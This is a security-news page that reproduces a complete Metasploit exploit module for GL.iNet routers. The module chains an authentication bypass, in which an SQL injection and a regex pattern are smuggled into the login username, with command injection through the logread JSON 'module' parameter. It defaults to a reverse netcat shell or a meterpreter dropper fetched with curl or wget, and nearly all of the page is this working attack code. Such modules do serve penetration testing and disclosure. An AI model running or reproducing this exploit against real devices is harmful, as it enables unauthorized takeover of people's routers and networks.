Security
Headlines
HeadlinesLatestCVEs

Headline

GL.iNet Unauthenticated Remote Command Execution

A command injection vulnerability exists in multiple GL.iNet network products, allowing an attacker to inject and execute arbitrary shell commands via JSON parameters at the gl_system_log and gl_crash_log interface in the logread module. This Metasploit exploit requires post-authentication using the Admin-Token cookie/sessionID (SID), typically stolen by the attacker. However, by chaining this exploit with vulnerability CVE-2023-50919, one can bypass the Nginx authentication through a Lua string pattern matching and SQL injection vulnerability. The Admin-Token cookie/SID can be retrieved without knowing a valid username and password. Many products are vulnerable.

Packet Storm
#sql#vulnerability#linux#js#git#nginx#botnet#auth#ssl
### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##require 'digest/md5'class MetasploitModule < Msf::Exploit::Remote  Rank = ExcellentRanking  include Msf::Exploit::Remote::HttpClient  include Msf::Exploit::CmdStager  prepend Msf::Exploit::Remote::AutoCheck  def initialize(info = {})    super(      update_info(        info,        'Name' => 'GL.iNet Unauthenticated Remote Command Execution via the logread module.',        'Description' => %q{          A command injection vulnerability exists in multiple GL.iNet network products, allowing an attacker          to inject and execute arbitrary shell commands via JSON parameters at the `gl_system_log` and `gl_crash_log`          interface in the `logread` module.          This exploit requires post-authentication using the `Admin-Token` cookie/sessionID (`SID`), typically stolen          by the attacker.          However, by chaining this exploit with vulnerability CVE-2023-50919, one can bypass the Nginx authentication          through a `Lua` string pattern matching and SQL injection vulnerability. The `Admin-Token` cookie/`SID` can be          retrieved without knowing a valid username and password.          The following GL.iNet network products are vulnerable:          - A1300, AX1800, AXT1800, MT3000, MT2500/MT2500A: v4.0.0 < v4.5.0;          - MT6000: v4.5.0 - v4.5.3;          - MT1300, MT300N-V2, AR750S, AR750, AR300M, AP1300, B1300: v4.3.7;          - E750/E750V2, MV1000: v4.3.8;          - X3000: v4.0.0 - v4.4.2;          - XE3000: v4.0.0 - v4.4.3;          - SFT1200: v4.3.6;          - and potentially others (just try ;-)          NOTE: Staged Meterpreter payloads might core dump on the target, so use stage-less Meterpreter payloads          when using the Linux Dropper target.        },        'License' => MSF_LICENSE,        'Author' => [          'h00die-gr3y <h00die.gr3y[at]gmail.com>', # MSF module contributor          'Unknown', # Discovery of the vulnerability CVE-2023-50445          'DZONERZY' # Discovery of the vulnerability CVE-2023-50919        ],        'References' => [          ['CVE', '2023-50445'],          ['CVE', '2023-50919'],          ['URL', 'https://attackerkb.com/topics/3LmJ0d7rzC/cve-2023-50445'],          ['URL', 'https://attackerkb.com/topics/LdqSuqHKOj/cve-2023-50919'],          ['URL', 'https://libdzonerzy.so/articles/from-zero-to-botnet-glinet.html'],          ['URL', 'https://github.com/gl-inet/CVE-issues/blob/main/4.0.0/Using%20Shell%20Metacharacter%20Injection%20via%20API.md']        ],        'DisclosureDate' => '2023-12-10',        'Platform' => ['unix', 'linux'],        'Arch' => [ARCH_CMD, ARCH_MIPSLE, ARCH_MIPSBE, ARCH_ARMLE, ARCH_AARCH64],        'Privileged' => true,        'Targets' => [          [            'Unix Command',            {              'Platform' => 'unix',              'Arch' => ARCH_CMD,              'Type' => :unix_cmd,              'DefaultOptions' => {                'PAYLOAD' => 'cmd/unix/reverse_netcat'              }            }          ],          [            'Linux Dropper',            {              'Platform' => 'linux',              'Arch' => [ARCH_MIPSLE, ARCH_MIPSBE, ARCH_ARMLE, ARCH_AARCH64],              'Type' => :linux_dropper,              'CmdStagerFlavor' => ['curl', 'wget', 'echo', 'printf', 'bourne'],              'Linemax' => 900,              'DefaultOptions' => {                'PAYLOAD' => 'linux/mipsbe/meterpreter_reverse_tcp'              }            }          ]        ],        'DefaultTarget' => 0,        'DefaultOptions' => {          'RPORT' => 443,          'SSL' => true        },        'Notes' => {          'Stability' => [CRASH_SAFE],          'Reliability' => [REPEATABLE_SESSION],          'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]        }      )    )    register_options([      OptString.new('SID', [false, 'Session ID'])    ])  end  def vuln_version?    @glinet = { 'model' => nil, 'firmware' => nil, 'arch' => nil }    # check first with version 4.x api call    post_data = {      jsonrpc: '2.0',      id: rand(1000..9999),      method: 'call',      params: [        '',        'ui',        'check_initialized',        {}      ]    }.to_json    res = send_request_cgi({      'method' => 'POST',      'ctype' => 'text/json',      'uri' => normalize_uri(target_uri.path, 'rpc'),      'data' => post_data.to_s    })    if res && res.code == 200 && res.body.include?('result')      res_json = res.get_json_document      unless res_json.blank?        @glinet['model'] = res_json['result']['model']        @glinet['firmware'] = res_json['result']['firmware_version']      end    else      # check with version 3.x api call. These versions are NOT vulnerable      res = send_request_cgi({        'method' => 'GET',        'ctype' => 'application/x-www-form-urlencoded',        'uri' => normalize_uri(target_uri.path, 'cgi-bin', 'api', 'router', 'hello')      })      if res && res.code == 200 && res.body.include?('model') && res.body.include?('version')        res_json = res.get_json_document        unless res_json.blank?          @glinet['model'] = res_json['model']          @glinet['firmware'] = res_json['version']        end      end    end    # check for the vulnerable models and firmware versions    case @glinet['model']    when 'sft1200'      @glinet['arch'] = 'mipsle'      return Rex::Version.new(@glinet['firmware']) == Rex::Version.new('4.3.6')    when 'ar750', 'ar750s', 'ar300m', 'ar300m16'      @glinet['arch'] = 'mipsbe'      return Rex::Version.new(@glinet['firmware']) == Rex::Version.new('4.3.7')    when 'mt300n-v2', 'mt1300'      @glinet['arch'] = 'mipsle'      return Rex::Version.new(@glinet['firmware']) == Rex::Version.new('4.3.7')    when 'ap1300', 'b1300'      @glinet['arch'] = 'armle'      return Rex::Version.new(@glinet['firmware']) == Rex::Version.new('4.3.7')    when 'e750', 'e750v2'      @glinet['arch'] = 'mipsbe'      return Rex::Version.new(@glinet['firmware']) == Rex::Version.new('4.3.8')    when 'mv1000'      @glinet['arch'] = 'armle'      return Rex::Version.new(@glinet['firmware']) == Rex::Version.new('4.3.8')    when 'ax1800', 'axt1800', 'a1300'      @glinet['arch'] = 'armle'      return Rex::Version.new(@glinet['firmware']) >= Rex::Version.new('4.0.0') && Rex::Version.new(@glinet['firmware']) < Rex::Version.new('4.5.0')    when 'mt2500', 'mt2500a', 'mt3000'      @glinet['arch'] = 'aarch64'      return Rex::Version.new(@glinet['firmware']) >= Rex::Version.new('4.0.0') && Rex::Version.new(@glinet['firmware']) < Rex::Version.new('4.5.0')    when 'mt6000'      @glinet['arch'] = 'aarch64'      return Rex::Version.new(@glinet['firmware']) >= Rex::Version.new('4.5.0') && Rex::Version.new(@glinet['firmware']) <= Rex::Version.new('4.5.3')    when 'x3000'      @glinet['arch'] = 'aarch64'      return Rex::Version.new(@glinet['firmware']) >= Rex::Version.new('4.0.0') && Rex::Version.new(@glinet['firmware']) <= Rex::Version.new('4.4.2')    when 'xe3000'      @glinet['arch'] = 'aarch64'      return Rex::Version.new(@glinet['firmware']) >= Rex::Version.new('4.0.0') && Rex::Version.new(@glinet['firmware']) <= Rex::Version.new('4.4.3')    end    @glinet['arch'] = 'n/a'    return false  end  def auth_bypass    # Check if datastore['SID'] is set    return datastore['SID'] unless datastore['SID'].blank?    # Exploit CVE-2023-50919 to retrieve the SID without valid username and password.    # Send an RPC request calling the challenge method, which will return a random nonce,    # the selected root user’s salt, and the crypt’s algorithm to hash the password.    post_data = {      jsonrpc: '2.0',      id: rand(1000..9999),      method: 'challenge',      params: {        username: 'root'      }    }.to_json    res = send_request_cgi({      'method' => 'POST',      'ctype' => 'text/json',      'uri' => normalize_uri(target_uri.path, 'rpc'),      'data' => post_data.to_s    })    if res && res.code == 200 && res.body.include?('nonce')      res_json = res.get_json_document      unless res_json.blank?        nonce = res_json['result']['nonce']      end    else      fail_with(Failure::NotFound, 'Getting the random nonce failed.')    end    # Perform REGEX to lookup uid field from /etc/shadow to be used as password with manipulated root username    # Use the SQL injection part to lookup the ACLs for root stored in sqlite db    # Create the password hash which is the md5 of the concatenation of the user, password, and the retrieved nonce    username = "roo[^'union selecT char(114,111,111,116)--]:[^:]+:[^:]+"    pw = '0'    hash = Digest::MD5.hexdigest("#{username}:#{pw}:#{nonce}")    # Login with the password hash and obtain the SessionID (SID)    post_data = {      jsonrpc: '2.0',      id: rand(1000..9999),      method: 'login',      params: {        username: username.to_s,        hash: hash.to_s      }    }.to_json    res = send_request_cgi({      'method' => 'POST',      'ctype' => 'text/json',      'uri' => normalize_uri(target_uri.path, 'rpc'),      'data' => post_data.to_s    })    if res && res.code == 200 && res.body.include?('sid')      res_json = res.get_json_document      unless res_json.blank?        sid = res_json['result']['sid']      end    else      fail_with(Failure::NotFound, 'Retrieving the SessionID (SID) failed.')    end    return sid  end  def execute_command(cmd, _opts = {})    payload = Base64.strict_encode64(cmd)    cmd = "echo #{payload}|openssl enc -base64 -d -A|sh"    post_data = {      jsonrpc: '2.0',      id: rand(1000..9999),      method: 'call',      params: [        @sid.to_s,        'logread',        'get_system_log',        {          lines: '',          module: "|#{cmd}"        }      ]    }.to_json    return send_request_cgi({      'method' => 'POST',      'ctype' => 'text/json',      'cookie' => "Admin-Token=#{@sid}",      'uri' => normalize_uri(target_uri.path, 'rpc'),      'data' => post_data.to_s    })  end  def check    print_status("Checking if #{peer} can be exploited.")    # Check if target is a GL.iNet network device and the firmware version is vulnerable    return CheckCode::Vulnerable("Product info: #{@glinet['model']}|#{@glinet['firmware']}|#{@glinet['arch']}") if vuln_version?    unless @glinet['firmware'].nil?      # GL.iNet network devices with firmware version 3.x that are safe from this exploit      return CheckCode::Safe("Product info: #{@glinet['model']}|#{@glinet['firmware']}|#{@glinet['arch']}") if Rex::Version.new(@glinet['firmware']) < Rex::Version.new('4.0.0')      # GL.iNet network devices with a firmware version 4.x or higher which still could be vulnerable unless the architecture is not available (n/a)      if @glinet['arch'] != 'n/a' && (Rex::Version.new(@glinet['firmware']) >= Rex::Version.new('4.0.0'))        return CheckCode::Safe("Product info: #{@glinet['model']}|#{@glinet['firmware']}|#{@glinet['arch']}")      end      return CheckCode::Detected("Product info: #{@glinet['model']}|#{@glinet['firmware']}|#{@glinet['arch']}") if Rex::Version.new(@glinet['firmware']) >= Rex::Version.new('4.0.0')    end    # No GL.iNet network device or not reachable    CheckCode::Unknown('No GL.iNet network device or device is not responding.')  end  def exploit    @sid = auth_bypass    print_status("SID: #{@sid}")    print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")    case target['Type']    when :unix_cmd      execute_command(payload.encoded)    when :linux_dropper      # Don't check the response here since the server won't respond      # if the payload is successfully executed.      execute_cmdstager({ linemax: target.opts['Linemax'] })    end  endend

Packet Storm: Latest News

CUPS IPP Attributes LAN Remote Code Execution